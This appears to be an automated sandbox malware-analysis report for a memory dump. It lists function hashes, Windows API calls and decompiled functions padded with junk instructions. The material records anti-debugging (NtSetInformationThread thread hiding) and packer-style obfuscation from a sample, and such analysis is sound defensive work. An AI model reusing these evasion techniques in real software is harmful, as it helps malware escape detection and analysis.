Opcode Fuzzy Hash: 2609937345d3d53a66f2a9546c7887dd5e37585b9110451b50aa4fb93c1ccc6d
Instruction Fuzzy Hash: 0D315B707103086FEF28EEB08CE1BAD3797AF45710F708229F9269B9C8C671D888C651

Uniqueness

Uniqueness Score: -1.00%

Function 022A0EF7, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 137nativethreadCOMMON

Download Yara Rule

APIs

NtSetInformationThread.NTDLL(000000FE,00000011,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 022A0536

Strings

1.!T, xrefs: 022A051A

Memory Dump Source

Source File: 00000000.00000002.783116967.00000000022A0000.00000040.00000001.sdmp, Offset: 022A0000, based on PE: false

Similarity

API ID: InformationThread
String ID: 1.!T
API String ID: 4046476035-3147410236
Opcode ID: aeb63b8bbdc1174346ef9f36aa93c034c21deba168526d10ac25e8d88556d4c9
Instruction ID: 43f6603a2e9d19f834213a450ed2a844d39eeaec3930df813a13a864ab8c0af1
Opcode Fuzzy Hash: aeb63b8bbdc1174346ef9f36aa93c034c21deba168526d10ac25e8d88556d4c9
Instruction Fuzzy Hash: 18419B707503086BEF34AEA08CA1FDE3B57AF45764F600228FD196B9C4C7B69C85CA50

Uniqueness

Uniqueness Score: -1.00%

Function 022A10FF, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 133nativethreadCOMMON

Download Yara Rule

APIs

NtSetInformationThread.NTDLL(000000FE,00000011,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 022A0536

Strings

1.!T, xrefs: 022A051A

Memory Dump Source

Source File: 00000000.00000002.783116967.00000000022A0000.00000040.00000001.sdmp, Offset: 022A0000, based on PE: false

Similarity

API ID: InformationThread
String ID: 1.!T
API String ID: 4046476035-3147410236
Opcode ID: cb89341ee1ec47d0ad16d5c3230299f254fac29c05776cc4b41a8498b80d2138
Instruction ID: 790627bfb75a05d6842a76787d33cab6f65f9c99d8ea40695a520f52c13f6c17
Opcode Fuzzy Hash: cb89341ee1ec47d0ad16d5c3230299f254fac29c05776cc4b41a8498b80d2138
Instruction Fuzzy Hash: 3E413871710308ABEF20AFA48CE5BDD3B67AF45B10FA14128F9195BAC8D7759884C650

Uniqueness

Uniqueness Score: -1.00%

Function 022A0D5E, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 130COMMON

Download Yara Rule

Strings

1.!T, xrefs: 022A051A

Memory Dump Source

Source File: 00000000.00000002.783116967.00000000022A0000.00000040.00000001.sdmp, Offset: 022A0000, based on PE: false

Similarity

API ID: InitializeThunk
String ID: 1.!T
API String ID: 2994545307-3147410236
Opcode ID: c49c35a9ef8aced03824b2e7c7882e0e836ba5e96df01d35003689252b6cb94d
Instruction ID: f0d9f224a096944f825f6a6573b4fd4ced4c0906a90602eb1222bb30f0a5c7b4
Opcode Fuzzy Hash: c49c35a9ef8aced03824b2e7c7882e0e836ba5e96df01d35003689252b6cb94d
Instruction Fuzzy Hash: 97412670350308ABEF246EA08EE1BDD3B97AF46740F504114FE195B9C9D7B5DA88CA45

Uniqueness

Uniqueness Score: -1.00%

Function 022A11CB, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 115nativethreadCOMMON

Download Yara Rule

APIs

NtSetInformationThread.NTDLL(000000FE,00000011,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 022A0536

Part of subcall function 022A29E9: LdrInitializeThunk.NTDLL(?,?,?,022A0DA9,00000000,00000000,00000000,00000000,00000050,0000033D,?,022A285D,?,?,00000004), ref: 022A30F0

Strings

1.!T, xrefs: 022A051A

Memory Dump Source

Source File: 00000000.00000002.783116967.00000000022A0000.00000040.00000001.sdmp, Offset: 022A0000, based on PE: false

Similarity

API ID: InformationInitializeThreadThunk
String ID: 1.!T
API String ID: 1629277043-3147410236
Opcode ID: 12d04d5b9c34804697b6bfa14cacfff26f1a1ab366ff5324c32837c780d54432
Instruction ID: 6cb1880e44755176ab51d55fc5bf0aa625ec381de104d8c4960b5b3f37e95d91
Opcode Fuzzy Hash: 12d04d5b9c34804697b6bfa14cacfff26f1a1ab366ff5324c32837c780d54432
Instruction Fuzzy Hash: 84318870750308ABEF24AEA08DE1BDD3797AF45744F704228FE196B9C9C6B5D888CA44

Uniqueness

Uniqueness Score: -1.00%

Function 022A5501, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 92nativethreadCOMMON

Download Yara Rule

APIs

NtResumeThread.NTDLL(?,?,?,?,?,000000C0,?,?,-00000002,?,022A0327,00000000), ref: 022A5611

Strings

%cN, xrefs: 022A5527

Memory Dump Source

Source File: 00000000.00000002.783116967.00000000022A0000.00000040.00000001.sdmp, Offset: 022A0000, based on PE: false

Similarity

API ID: ResumeThread
String ID: %cN
API String ID: 947044025-3089132698
Opcode ID: d0f7434ca7b40eba31181d538b24e5ad2b4b6b4db5db151a58a772f2ac080177
Instruction ID: 9893241675e1facf9a16db2646add5f205b2869ac3120f8300cf0f9f548f98f3
Opcode Fuzzy Hash: d0f7434ca7b40eba31181d538b24e5ad2b4b6b4db5db151a58a772f2ac080177
Instruction Fuzzy Hash: 19214833920B068FEF244FA8C56879A73A1EF11724FE84A55D4104B9BDD33440D5CF41

Uniqueness

Uniqueness Score: -1.00%

Function 022A04C9, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 83nativethreadCOMMON

Download Yara Rule

APIs

Part of subcall function 022A3F21: LoadLibraryA.KERNELBASE(?,8802EDAC,?,022A468D,022A0381,2D9CC76C,DFCB8F12,27AA3188,F21FD920,3E17ADE6,7F21185B,A7C53F01,B314751D,00000000,00000000), ref: 022A4019

NtSetInformationThread.NTDLL(000000FE,00000011,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 022A0536

Strings

1.!T, xrefs: 022A051A

Memory Dump Source

Source File: 00000000.00000002.783116967.00000000022A0000.00000040.00000001.sdmp, Offset: 022A0000, based on PE: false

Similarity

API ID: InformationLibraryLoadThread
String ID: 1.!T
API String ID: 543350213-3147410236
Opcode ID: 026200160802c637858207861ed2b4abd927faa4cfa8676d79abf84e531737ef
Instruction ID: b293a46f5befcfd6ebda139e94f5f709573107dbd6492bccd431559cff9c01bb
Opcode Fuzzy Hash: 026200160802c637858207861ed2b4abd927faa4cfa8676d79abf84e531737ef
Instruction Fuzzy Hash: 612168707503086BEF18AEE04DE17DD3797AF45744F708228FE156B9C9C6B4D888C695

Uniqueness

Uniqueness Score: -1.00%

Function 00403EC3, Relevance: 2.6, APIs: 1, Instructions: 1365COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.782891180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.782883111.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.782929771.0000000000413000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.782935706.0000000000414000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a26247fa029758fd86aff7c6e18cf4b7c2312d10e2a70ecfbd70c43c9ec7cf40
Instruction ID: 4ecc46f28bd688f38b2859bbefbc6d457d16d66dfa9d6fe6582a20f78c93fa43
Opcode Fuzzy Hash: a26247fa029758fd86aff7c6e18cf4b7c2312d10e2a70ecfbd70c43c9ec7cf40
Instruction Fuzzy Hash: 4862EF62B197000BC75A94BE4890956D0C3CFEF25123AE63A652DF37A5FE7ECD4B1148

Uniqueness

Uniqueness Score: -1.00%

Function 00403E7A, Relevance: 2.6, APIs: 1, Instructions: 1330memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,0000A000,FFFF9E46,FFFFFC61), ref: 00405239

Memory Dump Source

Source File: 00000000.00000002.782891180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.782883111.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.782929771.0000000000413000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.782935706.0000000000414000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: d4250bc161f99833386475d8cadf159c5801b308feebd4b0bcc5ceba5f846ee0
Instruction ID: 845679032e0381775611dbb552a8ffc35aa26cfea2b7a0125110b2a393d8d8e3
Opcode Fuzzy Hash: d4250bc161f99833386475d8cadf159c5801b308feebd4b0bcc5ceba5f846ee0
Instruction Fuzzy Hash: 1862EF22B1A7000BC75A94BE4890956D0C3DFEF25123AE63E652DF37A5FE7ACD4B1148

Uniqueness

Uniqueness Score: -1.00%

Function 00403FA7, Relevance: 2.5, APIs: 1, Instructions: 1296memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,0000A000,FFFF9E46,FFFFFC61), ref: 00405239

Memory Dump Source

Source File: 00000000.00000002.782891180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.782883111.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.782929771.0000000000413000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.782935706.0000000000414000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 21a09a5c8ed8fd7d0fa944ed9d14843598ca748cd064f86f7bcc836969a9563b
Instruction ID: 1ce4d46064b5d31fe4e619a294ca0d6a9b9b132a922201c0c2f64de7ece7a3aa
Opcode Fuzzy Hash: 21a09a5c8ed8fd7d0fa944ed9d14843598ca748cd064f86f7bcc836969a9563b
Instruction Fuzzy Hash: 9352EF62B1A7000BC75A94BE5890956D0C3CFEF25023AE63A652DF37A5FE7DCD4B1148

Uniqueness

Uniqueness Score: -1.00%

Function 00404015, Relevance: 2.5, APIs: 1, Instructions: 1251memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,0000A000,FFFF9E46,FFFFFC61), ref: 00405239

Memory Dump Source

Source File: 00000000.00000002.782891180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.782883111.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.782929771.0000000000413000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.782935706.0000000000414000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 0a8bb1659587806d2aae77c8d6d696ffccab973137bbaa72cae57236d781720e
Instruction ID: 2e245e79bdca3b764a991460d9ac1aa37e3504833fd9f3533acb6604f8125c95
Opcode Fuzzy Hash: 0a8bb1659587806d2aae77c8d6d696ffccab973137bbaa72cae57236d781720e
Instruction Fuzzy Hash: 9652DF62B1A7000BC75A94BE5890956D0C3CFEF25023AE63A652DF37A5FEBDCD4B1148

Uniqueness

Uniqueness Score: -1.00%

Function 004040F0, Relevance: 2.5, APIs: 1, Instructions: 1203memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,0000A000,FFFF9E46,FFFFFC61), ref: 00405239

Memory Dump Source

Source File: 00000000.00000002.782891180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.782883111.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.782929771.0000000000413000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.782935706.0000000000414000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 949590326339868c080d52cb2dc99ec4373975517179250a932a5a4de0d3a7e8
Instruction ID: a6e442b99d397bb00593d9d625de2bd54c12911bb8ae1e724a5b03fd02034669
Opcode Fuzzy Hash: 949590326339868c080d52cb2dc99ec4373975517179250a932a5a4de0d3a7e8
Instruction Fuzzy Hash: 2652EF62B1A7000BC75A94BE5890956D0C7CFEF26023AE63A652DF37A5FE7DCD0B1148

Uniqueness

Uniqueness Score: -1.00%

Function 0040415D, Relevance: 2.4, APIs: 1, Instructions: 1175memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,0000A000,FFFF9E46,FFFFFC61), ref: 00405239

Memory Dump Source

Source File: 00000000.00000002.782891180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.782883111.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.782929771.0000000000413000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.782935706.0000000000414000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: b99c2338f3abab49f385a11bbfcecf1279181b69c9726c879fa9c4f07fd2878f
Instruction ID: 47743bf8661a3dd8eaee49f5929a7646bf014262867e167e71c5dcaabc610a39
Opcode Fuzzy Hash: b99c2338f3abab49f385a11bbfcecf1279181b69c9726c879fa9c4f07fd2878f
Instruction Fuzzy Hash: B042EE62B1A7000BC75A94BE5890956D0C3CFEF26023AE63A652DF37A5FE7DCD4B1148

Uniqueness

Uniqueness Score: -1.00%

Function 00404230, Relevance: 2.4, APIs: 1, Instructions: 1156COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.782891180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.782883111.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.782929771.0000000000413000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.782935706.0000000000414000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d90b0d6c090c6060b32396599514165da07707a549b999ba4e2d037cae2b9a4f
Instruction ID: 4243306e92379ba06d451f122f83d085e43dd357d0840717f6aefa75aa070a4e
Opcode Fuzzy Hash: d90b0d6c090c6060b32396599514165da07707a549b999ba4e2d037cae2b9a4f
Instruction Fuzzy Hash: 9B42DE62B1A7000BC75A94BE5890956D0C7CFEF250239E63A652DF37A5FEBDCD0B1148

Uniqueness

Uniqueness Score: -1.00%

Function 004041C0, Relevance: 2.4, APIs: 1, Instructions: 1156COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.782891180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.782883111.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.782929771.0000000000413000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.782935706.0000000000414000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c2833f9542ae186bd7d35ccfce196ed54bf788226adf907dfa65ee18d8d933c8
Instruction ID: 282262abe08730bbfc411c1a49307524388e65f8ba4ab2e220d7e9492d22eb8b
Opcode Fuzzy Hash: c2833f9542ae186bd7d35ccfce196ed54bf788226adf907dfa65ee18d8d933c8
Instruction Fuzzy Hash: EF42DF62B1A7000BC75A94BE5890956D0C7CFEF260239E63A652DF37A5FE7DCD0B1148

Uniqueness

Uniqueness Score: -1.00%

Function 004042A4, Relevance: 2.3, APIs: 1, Instructions: 1088memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,0000A000,FFFF9E46,FFFFFC61), ref: 00405239

Memory Dump Source

Source File: 00000000.00000002.782891180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.782883111.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.782929771.0000000000413000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.782935706.0000000000414000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: b67547556bdd8acb0c92143996b4dde1e6f76a44b85e517e7e9f79ab866c403c
Instruction ID: 68ff5e628e142af5f992363eaefadc905e2f009b52180bc35f17a0f93239cba2
Opcode Fuzzy Hash: b67547556bdd8acb0c92143996b4dde1e6f76a44b85e517e7e9f79ab866c403c
Instruction Fuzzy Hash: 1D42CF62B1A7000BC75A94BE5890956D0C7CFEF26023AE63A652DF37A5FE7DCD0B1148

Uniqueness

Uniqueness Score: -1.00%

Function 0040430C, Relevance: 2.3, APIs: 1, Instructions: 1084memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,0000A000,FFFF9E46,FFFFFC61), ref: 00405239

Memory Dump Source

Source File: 00000000.00000002.782891180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.782883111.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.782929771.0000000000413000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.782935706.0000000000414000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 13ca641d2f342801702b930fc1ef96d7124a49e4892fdc98647fe22fa3393358
Instruction ID: d765efd599a072ae9a6fbad385a59235bbaf05cbb521e60a88b48423faac7bdc
Opcode Fuzzy Hash: 13ca641d2f342801702b930fc1ef96d7124a49e4892fdc98647fe22fa3393358
Instruction Fuzzy Hash: E132BD62B1A7000BC75A94BE5890956D0C7CFEF25023AE63A652DF37A5FEBDCD0B1148

Uniqueness

Uniqueness Score: -1.00%

Function 00404380, Relevance: 2.3, APIs: 1, Instructions: 1052
memoryCOMMONCrypto

Download Yara Rule

C-Code - Quality: 20%

			E00404380(signed int* __eax, signed int __ebx, signed int __ecx, signed int __edx, void* __edi, signed int __esi, void* __fp0) {
				signed int* _t33;
				intOrPtr _t80;
				signed char _t123;
				signed char _t124;
				signed char _t125;
				signed char _t127;
				signed char* _t128;
				void* _t158;
				void* _t162;
				signed int _t163;
				void* _t166;
				void* _t168;
				void* _t170;
				void* _t172;
				signed int _t244;
				void* _t246;
				signed int _t255;
				signed long long _t261;
				signed long long _t262;

				_t244 = __esi;
				 *[fs:eax] =  *[fs:eax] | __ecx;
				 *__eax =  *__eax | __ecx;
				 *__eax =  *__eax | __ecx;
				 *__eax =  *__eax | __ecx;
				 *__eax =  *__eax | __ecx;
				 *__eax =  *__eax | __ecx;
				 *__eax =  *__eax | __ecx;
				 *__eax =  *__eax | __ecx;
				 *__eax =  *__eax | __ecx;
				 *__eax =  *__eax | __ecx;
				 *__eax =  *__eax | __ecx;
				 *__eax =  *__eax | __ecx;
				 *__eax =  *__eax | __ecx;
				 *__eax =  *__eax | __ecx;
				 *__eax =  *__eax | __ecx;
				 *__eax =  *__eax | __ecx;
				 *__eax =  *__eax | __ecx;
				 *__eax =  *__eax | __ecx;
				 *__eax =  *__eax | __ecx;
				 *__eax =  *__eax | __ecx;
				 *__eax =  *__eax | __ecx;
				_t123 = __ecx | __ebx;
				asm("fnop");
				_t124 = _t123;
				_t158 = (__edx ^ 0x00001064) + 0x6f3;
				asm("movq xmm4, xmm7");
				asm("pmaddwd xmm1, xmm5");
				asm("fchs");
				asm("frndint");
				asm("fdivp st7, st0");
				asm("fdivr st6, st0");
				asm("fclex");
				asm("fnop");
				_t162 = _t158 + 0x1873;
				asm("fucom st1");
				asm("punpckhwd xmm6, xmm1");
				asm("fdecstp");
				asm("fninit");
				asm("pmulhw mm0, mm3");
				asm("pcmpeqd mm5, mm7");
				asm("fsin");
				asm("fldlg2");
				asm("psrlq mm5, 0x53");
				asm("pcmpeqw mm3, mm6");
				_t125 = _t124;
				asm("fnop");
				asm("fnop");
				_t163 = _t162 - 0x1250;
				asm("fnop");
				asm("fnop");
				asm("fcom st0, st6");
				asm("fdecstp");
				asm("fldlg2");
				asm("fucom st1");
				asm("wait");
				asm("fclex");
				asm("packuswb mm4, mm4");
				asm("fcos");
				_t166 = (_t163 ^ 0x000012ff) - 0x19f6;
				_t127 = _t125;
				asm("packssdw mm4, mm2");
				asm("fld1");
				asm("punpckldq xmm2, xmm4");
				asm("fsincos");
				asm("fclex");
				asm("pcmpeqw xmm2, xmm4");
				asm("ftst");
				asm("wait");
				asm("paddsb xmm5, xmm1");
				asm("fdivrp st2, st0");
				asm("fnop");
				_t168 = _t166 + 0x3f5 - 0xbbc;
				asm("punpcklwd xmm6, xmm1");
				asm("psubw mm2, mm6");
				asm("por xmm7, xmm7");
				_t261 = __fp0 - st5;
				asm("fyl2xp1");
				asm("lfence");
				asm("fchs");
				asm("pcmpeqw mm5, mm3");
				asm("fsqrt");
				asm("fnop");
				asm("fnop");
				_t170 = _t168 + 0x168b;
				asm("fnop");
				asm("fnop");
				asm("punpcklbw mm7, mm2");
				asm("fldl2e");
				asm("psllq xmm4, 0x9f");
				asm("psubd xmm3, xmm3");
				asm("movq mm0, mm4");
				asm("pandn mm4, mm0");
				asm("fprem");
				asm("fprem");
				_t172 = _t170;
				_t80 =  *((intOrPtr*)(__ebx + _t172));
				_t33 = __eax;
				asm("psrlq mm0, 0xb8");
				asm("psubusb xmm2, xmm6");
				_t262 = _t261 * st2;
				asm("fldpi");
				asm("fyl2x");
				asm("psubd mm0, mm6");
				asm("packsswb xmm1, xmm5");
				asm("fnop");
				goto L9;
				asm("fnop");
				asm("ror byte [ecx-0x762d7601], 1");
				 *((intOrPtr*)(_t128 - 0x26247601)) =  *((intOrPtr*)(_t128 - 0x26247601)) - 1;
				 *_t128 =  *_t128 >> 1;
				_t255 = _t244 |  *(_t246 - 0x69);
			}

0x00404380
0x00404383
0x00404386
0x00404388
0x0040438a
0x0040438c
0x0040438e
0x00404390
0x00404392
0x00404394
0x00404396
0x00404398
0x0040439a
0x0040439c
0x0040439e
0x004043a0
0x004043a2
0x004043a4
0x004043a6
0x004043a8
0x004043aa
0x004043ac
0x004043ae
0x004043af
0x004043b4
0x004043ce
0x004043d4
0x004043d8
0x004043dc
0x004043de
0x004043e0
0x004043e2
0x004043e4
0x00404422
0x00404437
0x0040443d
0x0040443f
0x00404443
0x00404445
0x00404447
0x0040444a
0x0040444d
0x0040444f
0x00404451
0x00404455
0x00404499
0x0040449b
0x004044a7
0x004044a9
0x004044af
0x004044b5
0x004044b7
0x004044b9
0x004044bb
0x004044bd
0x004044bf
0x004044c0
0x004044c2
0x004044c5
0x00404514
0x0040451a
0x0040451c
0x0040451f
0x00404521
0x00404525
0x00404527
0x00404529
0x0040452d
0x0040452f
0x00404530
0x00404534
0x00404577
0x0040458c
0x00404594
0x00404598
0x0040459b
0x004045a1
0x004045a3
0x004045a5
0x004045a8
0x004045aa
0x004045ad
0x004045e4
0x004045f0
0x004045f2
0x004045f8
0x004045fe
0x00404602
0x00404605
0x00404607
0x0040460c
0x00404610
0x00404613
0x00404616
0x00404618
0x00404669
0x0040466b
0x00404672
0x00404674
0x00404678
0x0040467c
0x0040467e
0x00404680
0x00404682
0x00404685
0x004046c0
0x004046c0
0x0040471b
0x0040471c
0x00404722
0x00404728
0x0040472a

APIs

VirtualAlloc.KERNELBASE(00000000,0000A000,FFFF9E46,FFFFFC61), ref: 00405239

Memory Dump Source

Source File: 00000000.00000002.782891180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.782883111.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.782929771.0000000000413000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.782935706.0000000000414000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: eff41bd099b7772d2ea54bee02d693fe2a3733dbc4899ff985ef32fa45e36919
Instruction ID: b3ee4b10b4b2b343543e391757a4ba1b13661bfe711c670d6bc7fb612cade4f3
Opcode Fuzzy Hash: eff41bd099b7772d2ea54bee02d693fe2a3733dbc4899ff985ef32fa45e36919
Instruction Fuzzy Hash: 8232CE62B1A7000BC75A94BE5890956D0C7CFEF26023AE63A652DF37A5FE7DCD0B1148

Uniqueness

Uniqueness Score: -1.00%

Function 0040445A, Relevance: 2.3, APIs: 1, Instructions: 1039memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,0000A000,FFFF9E46,FFFFFC61), ref: 00405239

Memory Dump Source

Source File: 00000000.00000002.782891180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.782883111.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.782929771.0000000000413000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.782935706.0000000000414000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 2a8dbc82fa94603d0b84293497b112b309726e3d93fe4fc02cfc70d300ac33c9
Instruction ID: e531e6da938eba0a10a0709eda3a432d229ab0151a36b594c460fcc6b3eb6084
Opcode Fuzzy Hash: 2a8dbc82fa94603d0b84293497b112b309726e3d93fe4fc02cfc70d300ac33c9
Instruction Fuzzy Hash: 9032BC62B1A7000BC75A94BE5890856D0C7CFEF260239E63A652DF37A5FEBDCD4B1148

Uniqueness

Uniqueness Score: -1.00%

Function 004043E8, Relevance: 2.3, APIs: 1, Instructions: 1032memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,0000A000,FFFF9E46,FFFFFC61), ref: 00405239

Memory Dump Source

Source File: 00000000.00000002.782891180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.782883111.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.782929771.0000000000413000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.782935706.0000000000414000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 422fe368fc1d922b6cca68a43d8a3925960bb2c88dcc14347f9da463755dbeab
Instruction ID: 895f6e35ea0e08a1f2e637ba071c4894805df85a9a0d9f9425003c051aec9ae6
Opcode Fuzzy Hash: 422fe368fc1d922b6cca68a43d8a3925960bb2c88dcc14347f9da463755dbeab
Instruction Fuzzy Hash: F532BD62B1A7000BC75A94BE5890956D0C7CFEF250239E63A652DF37A5FEBDCD0B1148

Uniqueness

Uniqueness Score: -1.00%

Function 00404538, Relevance: 2.2, APIs: 1, Instructions: 987
memoryCOMMONCrypto

Download Yara Rule

C-Code - Quality: 20%

			E00404538(void* __ebx, void* __edx, signed int __esi, void* __fp0) {
				void* _t22;
				void* _t23;
				void* _t26;
				void* _t119;
				void* _t121;
				intOrPtr _t123;
				void* _t165;
				signed char* _t166;
				void* _t195;
				void* _t197;
				void* _t199;
				signed int _t268;
				void* _t270;
				void* _t271;
				signed int _t278;
				signed long long _t284;
				signed long long _t285;

				_t268 = __esi;
				_t165 = 0xfffffff9;
				_t271 = _t270 + 1;
				_t119 = __ebx + 0x34;
				asm("fnop");
				_t23 = _t22;
				_t195 = __edx + 0x3f5 - 0xbbc;
				asm("punpcklwd xmm6, xmm1");
				asm("psubw mm2, mm6");
				asm("por xmm7, xmm7");
				_t121 = _t119;
				_t284 = __fp0 - st5;
				asm("fyl2xp1");
				asm("lfence");
				asm("fchs");
				asm("pcmpeqw mm5, mm3");
				asm("fsqrt");
				asm("fnop");
				asm("fnop");
				_t197 = _t195 + 0x168b;
				asm("fnop");
				asm("fnop");
				asm("punpcklbw mm7, mm2");
				asm("fldl2e");
				asm("psllq xmm4, 0x9f");
				asm("psubd xmm3, xmm3");
				asm("movq mm0, mm4");
				asm("pandn mm4, mm0");
				asm("fprem");
				asm("fprem");
				_t199 = _t197;
				_t123 =  *((intOrPtr*)(_t121 + _t199));
				_t26 = _t23;
				asm("psrlq mm0, 0xb8");
				asm("psubusb xmm2, xmm6");
				_t285 = _t284 * st2;
				asm("fldpi");
				asm("fyl2x");
				asm("psubd mm0, mm6");
				asm("packsswb xmm1, xmm5");
				asm("fnop");
				goto L5;
				asm("fnop");
				asm("ror byte [ecx-0x762d7601], 1");
				 *((intOrPtr*)(_t166 - 0x26247601)) =  *((intOrPtr*)(_t166 - 0x26247601)) - 1;
				 *_t166 =  *_t166 >> 1;
				_t278 = _t268 |  *(_t271 - 0x69);
			}

0x00404538
0x0040453a
0x0040453b
0x0040456f
0x00404577
0x00404587
0x0040458c
0x00404594
0x00404598
0x0040459b
0x0040459f
0x004045a1
0x004045a3
0x004045a5
0x004045a8
0x004045aa
0x004045ad
0x004045e4
0x004045f0
0x004045f2
0x004045f8
0x004045fe
0x00404602
0x00404605
0x00404607
0x0040460c
0x00404610
0x00404613
0x00404616
0x00404618
0x00404669
0x0040466b
0x00404672
0x00404674
0x00404678
0x0040467c
0x0040467e
0x00404680
0x00404682
0x00404685
0x004046c0
0x004046c0
0x0040471b
0x0040471c
0x00404722
0x00404728
0x0040472a

APIs

VirtualAlloc.KERNELBASE(00000000,0000A000,FFFF9E46,FFFFFC61), ref: 00405239

Memory Dump Source

Source File: 00000000.00000002.782891180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.782883111.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.782929771.0000000000413000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.782935706.0000000000414000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: db4f865be84fc08695f98ac8d73fec1fed75b5d19598adcc302992e88f523148
Instruction ID: 48e29b2fdedd8093d81b973c88da939dcb63292d5d30f443b1138054c5c9a97b
Opcode Fuzzy Hash: db4f865be84fc08695f98ac8d73fec1fed75b5d19598adcc302992e88f523148
Instruction Fuzzy Hash: 4B22BD62B2A7000BC75A94BE5890956D0C7CFEF260239E63A652DF37A5FE7DCD0B1148

Uniqueness

Uniqueness Score: -1.00%

Function 004044C9, Relevance: 2.2, APIs: 1, Instructions: 976
COMMONCrypto

Download Yara Rule

